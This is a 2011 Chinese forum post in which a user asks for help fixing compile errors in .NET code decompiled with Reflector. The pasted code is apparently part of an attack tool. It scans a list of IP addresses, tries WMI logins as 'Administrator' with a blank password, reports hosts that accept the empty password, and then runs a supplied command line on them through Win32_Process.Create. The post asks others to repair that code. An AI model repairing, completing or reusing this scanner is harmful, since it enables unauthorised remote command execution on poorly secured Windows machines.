标题:Reflector 反编译后的问题
只看楼主
wifayy
Rank: 1
等 级:新手上路
帖 子:16
专家分:0
注 册:2010-7-23
结帖率:50%
 问题点数:0 回复次数:0 
Reflector 反编译后的问题
小弟第一次用REF 反编NET文件 想不到就卡住了 提示无法显式调用运算符或访问器

以下为原文

c:\ScnClass.cs(25,25): error CS0571: “System.Management.ConnectionOptions.Username.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(26,25): error CS0571: “System.Management.ConnectionOptions.Password.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(27,25): error CS0571: “System.Management.ManagementOptions.Timeout.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(28,25): error CS0571: “System.Management.ConnectionOptions.Authority.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(29,25): error CS0571: “System.Management.ConnectionOptions.Authentication.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(30,25): error CS0571: “System.Management.ConnectionOptions.Impersonation.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(31,25): error CS0571: “System.Management.ConnectionOptions.EnablePrivileges.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(44,42): error CS0571: “System.Management.ManagementBaseObject.this[string].set”: 无法显式调用运算符或访问器


以下为原码

                string str = this.ips[int.Parse(Thread.CurrentThread.Name.ToString())].ToString();
                Console.Write("Scan Host(s):" + str + "\r\n");
                ConnectionOptions options = new ConnectionOptions();
                options.set_Username("Administrator");
                options.set_Password("");
                options.set_Timeout(new TimeSpan(0x2710L));
                options.set_Authority("ntlmdomain:" + str);
                options.set_Authentication(6);
                options.set_Impersonation(3);
                options.set_EnablePrivileges(true);
                ManagementPath path = new ManagementPath(@"\\" + str + @"\root\cimv2:Win32_Process");
                ManagementScope scope = new ManagementScope(path, options);
                try
                {
                    ScnClass class3;
                    scope.Connect();
                    Console.Write(str + " Password is null,Scanned IP like these:" + ((this.rips.Count + 1)).ToString() + ",Sending Command Now...\r\n");
                    try
                    {
                        ObjectGetOptions options2 = new ObjectGetOptions();
                        ManagementClass class2 = new ManagementClass(scope, path, options2);
                        ManagementBaseObject methodParameters = class2.GetMethodParameters("Create");
                        methodParameters.set_Item("CommandLine", this.cmdLine);
                        class2.InvokeMethod("Create", methodParameters, null);
                        lock ((class3 = this))
                        {

希望大哥们帮修改下
搜索更多相关主题的帖子: 文件 
2011-03-02 00:34



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-333005-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.018047 second(s), 7 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved